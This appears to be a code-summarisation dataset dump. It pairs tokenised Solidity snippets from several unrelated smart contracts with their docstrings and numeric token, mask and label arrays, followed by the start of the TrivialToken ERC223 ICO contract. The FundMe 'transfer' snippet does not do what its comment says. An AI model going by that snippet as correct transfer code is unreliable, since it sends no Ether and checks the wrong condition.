331,
17128,
5027,
4851,
24899,
13835,
13,
203,
565,
288,
203,
3639,
2583,
12,
5,
10632,
6322,
16,
5475,
67,
3417,
67,
31078,
67,
26195,
1769,
203,
203,
3639,
2583,
24899,
13835,
18,
2019,
37,
85,
19043,
9334,
5475,
67,
7998,
67,
37,
53,
67,
4400,
67,
20969,
31602,
1769,
203,
203,
3639,
261,
269,
269,
2254,
28,
883,
2471,
6148,
16,
13,
273,
389,
13835,
18,
3413,
6148,
87,
5621,
203,
3639,
261,
11890,
5034,
883,
23304,
16408,
262,
273,
389,
13835,
18,
5303,
11923,
5621,
203,
203,
3639,
15980,
3183,
883,
37,
85,
31,
203,
3639,
261,
16,
269,
883,
37,
85,
13,
273,
389,
13835,
18,
408,
20723,
5621,
203,
203,
3639,
2254,
5034,
883,
2375,
273,
883,
37,
85,
18,
588,
6376,
2375,
12,
2150,
2471,
6148,
1769,
203,
3639,
2583,
12,
2150,
2375,
480,
374,
16,
5475,
67,
8723,
67,
37,
53,
67,
4400,
67,
20969,
31602,
1769,
203,
203,
3639,
309,
261,
2107,
31584,
13533,
422,
374,
13,
288,
203,
5411,
2254,
5034,
783,
29603,
5580,
475,
273,
389,
13835,
18,
2972,
29603,
5580,
475,
5621,
203,
5411,
2393,
5580,
475,
273,
783,
29603,
5580,
475,
31,
203,
5411,
261,
16,
2254,
5034,
818,
5058,
13,
273,
389,
13835,
18,
2107,
2766,
57,
1121,
1876,
2
]
|
./full_match/1/0x6966553568634F4225330D559a8783DE7649C7D3/sources/contracts/wombat-core/asset/Asset.sol | * @notice Deducts cash, expect actual ERC20 got transferred out (by transferUnderlyingToken()). Can only be called by Pool. @param amount amount to remove/ | function removeCash(uint256 amount) external override onlyPool {
require(cash >= amount, 'Wombat: INSUFFICIENT_CASH');
cash -= uint120(amount);
}
| 8,375,648 | [
1,
20563,
853,
87,
276,
961,
16,
4489,
3214,
4232,
39,
3462,
2363,
906,
4193,
596,
261,
1637,
7412,
14655,
6291,
1345,
1435,
2934,
4480,
1338,
506,
2566,
635,
8828,
18,
225,
3844,
3844,
358,
1206,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
1206,
39,
961,
12,
11890,
5034,
3844,
13,
3903,
3849,
1338,
2864,
288,
203,
3639,
2583,
12,
71,
961,
1545,
3844,
16,
296,
59,
16659,
270,
30,
2120,
6639,
42,
1653,
7266,
2222,
67,
3587,
2664,
8284,
203,
3639,
276,
961,
3947,
2254,
22343,
12,
8949,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./full_match/43114/0x503AF00d27162dA9d395a22fE36F7B9512Cf9E09/sources/cryptovikings_flat.sol | update when sale has completed.
| PROVENANCE_HASH = _hash; | 4,503,010 | [
1,
2725,
1347,
272,
5349,
711,
5951,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
3639,
4629,
58,
1157,
4722,
67,
15920,
273,
389,
2816,
31,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./full_match/1/0x673003F86fFe32F7CaA3E5fcfDC711EBf8A64aeF/sources/src/membership/modules/StablecoinPurchaseModule.sol | @dev Function to check if a specific stablecoin is enabled for a collection. Reverts for unregistered stablecoins. @param collection The collection to check against _collectionConfig storage mapping @param stablecoin The stablecoin being queried against the provided collection address | function stablecoinEnabled(address collection, address stablecoin) external view returns (bool) {
return _stablecoinEnabled(_parameters[collection].enabledCoins, stablecoin);
}
| 3,159,212 | [
1,
2083,
358,
866,
309,
279,
2923,
14114,
12645,
353,
3696,
364,
279,
1849,
18,
868,
31537,
364,
24352,
14114,
71,
9896,
18,
225,
1849,
1021,
1849,
358,
866,
5314,
389,
5548,
809,
2502,
2874,
225,
14114,
12645,
1021,
14114,
12645,
3832,
23264,
5314,
326,
2112,
1849,
1758,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
14114,
12645,
1526,
12,
2867,
1849,
16,
1758,
14114,
12645,
13,
3903,
1476,
1135,
261,
6430,
13,
288,
203,
3639,
327,
389,
15021,
12645,
1526,
24899,
3977,
63,
5548,
8009,
5745,
39,
9896,
16,
14114,
12645,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./full_match/4/0x34faFD6E6798Ee7afC866f502fbba7E5ADCC846b/sources/browser/NewToken.sol | * @dev Implementation of the {IERC20} interface. This implementation is agnostic to the way tokens are created. This means that a supply mechanism has to be added in a derived contract using {_mint}. For a generic mechanism see {ERC20PresetMinterPauser}. TIP: For a detailed writeup see our guide to implement supply mechanisms]. We have followed general OpenZeppelin guidelines: functions revert instead of returning `false` on failure. This behavior is nonetheless conventional and does not conflict with the expectations of ERC20 applications. Additionally, an {Approval} event is emitted on calls to {transferFrom}. This allows applications to reconstruct the allowance for all accounts just by listening to said events. Other implementations of the EIP may not emit these events, as it isn't required by the specification. Finally, the non-standard {decreaseAllowance} and {increaseAllowance} functions have been added to mitigate the well-known issues around setting allowances. See {IERC20-approve}./ | contract ERC20 is Context, IERC20, Pausable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
| 12,475,405 | [
1,
13621,
434,
326,
288,
45,
654,
39,
3462,
97,
1560,
18,
1220,
4471,
353,
279,
1600,
669,
335,
358,
326,
4031,
2430,
854,
2522,
18,
1220,
4696,
716,
279,
14467,
12860,
711,
358,
506,
3096,
316,
279,
10379,
6835,
1450,
288,
67,
81,
474,
5496,
2457,
279,
5210,
12860,
2621,
288,
654,
39,
3462,
18385,
49,
2761,
16507,
1355,
5496,
399,
2579,
30,
2457,
279,
6864,
1045,
416,
2621,
3134,
7343,
358,
2348,
14467,
1791,
28757,
8009,
1660,
1240,
10860,
7470,
3502,
62,
881,
84,
292,
267,
9875,
14567,
30,
4186,
15226,
3560,
434,
5785,
1375,
5743,
68,
603,
5166,
18,
1220,
6885,
353,
1661,
546,
12617,
15797,
287,
471,
1552,
486,
7546,
598,
326,
26305,
434,
4232,
39,
3462,
12165,
18,
26775,
16,
392,
288,
23461,
97,
871,
353,
17826,
603,
4097,
358,
288,
13866,
1265,
5496,
1220,
5360,
12165,
358,
23243,
326,
1699,
1359,
364,
777,
2
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
| [
1,
16351,
4232,
39,
3462,
353,
1772,
16,
467,
654,
39,
3462,
16,
21800,
16665,
288,
203,
565,
1450,
14060,
10477,
364,
2254,
5034,
31,
203,
565,
1450,
5267,
364,
1758,
31,
203,
203,
565,
2874,
261,
2867,
516,
2254,
5034,
13,
3238,
389,
70,
26488,
31,
203,
203,
565,
2874,
261,
2867,
516,
2874,
261,
2867,
516,
2254,
5034,
3719,
3238,
389,
5965,
6872,
31,
203,
203,
565,
2254,
5034,
3238,
389,
4963,
3088,
1283,
31,
203,
203,
565,
533,
3238,
389,
529,
31,
203,
565,
533,
3238,
389,
7175,
31,
203,
565,
2254,
28,
3238,
389,
31734,
31,
203,
203,
203,
565,
3885,
261,
1080,
3778,
508,
16,
533,
3778,
3273,
13,
1071,
288,
203,
3639,
389,
529,
273,
508,
31,
203,
3639,
389,
7175,
273,
3273,
31,
203,
3639,
389,
31734,
273,
6549,
31,
203,
540,
203,
540,
203,
565,
289,
203,
203,
565,
445,
508,
1435,
1071,
1476,
1135,
261,
1080,
3778,
13,
288,
203,
3639,
327,
389,
529,
31,
203,
565,
289,
203,
203,
565,
445,
3273,
1435,
1071,
1476,
1135,
261,
1080,
3778,
13,
288,
203,
3639,
327,
389,
7175,
31,
203,
565,
289,
203,
203,
565,
445,
15105,
1435,
1071,
1476,
1135,
261,
11890,
28,
13,
288,
203,
3639,
327,
389,
31734,
31,
203,
565,
289,
203,
203,
565,
445,
2078,
3088,
1283,
1435,
1071,
1476,
3849,
1135,
261,
11890,
5034,
13,
288,
203,
3639,
327,
389,
4963,
3088,
1283,
31,
203,
565,
289,
203,
203,
565,
445,
11013,
951,
12,
2867,
2236,
13,
1071,
1476,
3849,
1135,
2
]
|
./full_match/42/0x8A78e1c05cc523DaCFc9be01c5500d4fd92358B5/sources/contracts/FundMe.sol | Function to transfer Ether from this contract to address from input | function transfer(address payable _to, uint _ethAmount) public {
uint256 balance= addressToAmountFunded[_to];
require(getConversionRate(_ethAmount) >balance,"Not enough founds");
}
| 16,254,586 | [
1,
2083,
358,
7412,
512,
1136,
628,
333,
6835,
358,
1758,
628,
810,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
7412,
12,
2867,
8843,
429,
389,
869,
16,
2254,
389,
546,
6275,
13,
1071,
288,
203,
5411,
2254,
5034,
11013,
33,
1758,
774,
6275,
42,
12254,
63,
67,
869,
15533,
203,
2868,
2583,
12,
588,
6814,
4727,
24899,
546,
6275,
13,
405,
12296,
10837,
1248,
7304,
1392,
87,
8863,
203,
565,
289,
203,
377,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
//Address: 0x158a96da5dcd1ade84ac11ac952683c0ee3516ab
//Contract name: TrivialToken
//Balance: 0.26 Ether
//Verification Date: 8/1/2017
//Transacion Count: 16
// CODE STARTS HERE
pragma solidity ^0.4.11;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC223TokenInterface {
function name() constant returns (string _name);
function symbol() constant returns (string _symbol);
function decimals() constant returns (uint8 _decimals);
function totalSupply() constant returns (uint256 _totalSupply);
function transfer(address to, uint value, bytes data) returns (bool);
event Transfer(address indexed from, address indexed to, uint value, bytes data);
}
contract ERC223ReceiverInterface {
function tokenFallback(address from, uint value, bytes data);
}
contract ERC223Token is BasicToken, ERC223TokenInterface {
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
function name() constant returns (string _name) {
return name;
}
function symbol() constant returns (string _symbol) {
return symbol;
}
function decimals() constant returns (uint8 _decimals) {
return decimals;
}
function totalSupply() constant returns (uint256 _totalSupply) {
return totalSupply;
}
modifier onlyPayloadSize(uint size) {
require(msg.data.length >= size + 4);
_;
}
function transfer(address to, uint value, bytes data) onlyPayloadSize(2 * 32) returns (bool) {
balances[msg.sender] = SafeMath.sub(balances[msg.sender], value);
balances[to] = SafeMath.add(balances[to], value);
if (isContract(to)){
ERC223ReceiverInterface receiver = ERC223ReceiverInterface(to);
receiver.tokenFallback(msg.sender, value, data);
}
//ERC223 event
Transfer(msg.sender, to, value, data);
return true;
}
function transfer(address to, uint value) returns (bool) {
bytes memory empty;
transfer(to, value, empty);
//ERC20 legacy event
Transfer(msg.sender, to, value);
return true;
}
function isContract(address _address) private returns (bool isContract) {
uint length;
_address = _address; //Silence compiler warning
assembly { length := extcodesize(_address) }
return length > 0;
}
}
contract PullPayment {
using SafeMath for uint256;
mapping(address => uint256) public payments;
uint256 public totalPayments;
function asyncSend(address dest, uint256 amount) internal {
payments[dest] = payments[dest].add(amount);
totalPayments = totalPayments.add(amount);
}
function withdrawPayments() {
address payee = msg.sender;
uint256 payment = payments[payee];
require(payment != 0);
require(this.balance >= payment);
totalPayments = totalPayments.sub(payment);
payments[payee] = 0;
assert(payee.send(payment));
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract TrivialToken is ERC223Token, PullPayment {
//Constants
uint8 constant DECIMALS = 0;
uint256 constant MIN_ETH_AMOUNT = 0.005 ether;
uint256 constant MIN_BID_PERCENTAGE = 10;
uint256 constant TOTAL_SUPPLY = 1000000;
uint256 constant TOKENS_PERCENTAGE_FOR_KEY_HOLDER = 25;
uint256 constant CLEANUP_DELAY = 180 days;
//Accounts
address public artist;
address public trivial;
//Time information
uint256 public icoEndTime;
uint256 public auctionDuration;
uint256 public auctionEndTime;
//Token information
uint256 public tokensForArtist;
uint256 public tokensForTrivial;
uint256 public tokensForIco;
//ICO and auction results
uint256 public amountRaised;
address public highestBidder;
uint256 public highestBid;
bytes32 public auctionWinnerMessageHash;
uint256 public nextContributorIndexToBeGivenTokens;
uint256 public tokensDistributedToContributors;
//Events
event IcoStarted(uint256 icoEndTime);
event IcoContributed(address contributor, uint256 amountContributed, uint256 amountRaised);
event IcoFinished(uint256 amountRaised);
event IcoCancelled();
event AuctionStarted(uint256 auctionEndTime);
event HighestBidChanged(address highestBidder, uint256 highestBid);
event AuctionFinished(address highestBidder, uint256 highestBid);
event WinnerProvidedHash();
//State
enum State { Created, IcoStarted, IcoFinished, AuctionStarted, AuctionFinished, IcoCancelled }
State public currentState;
//Token contributors and holders
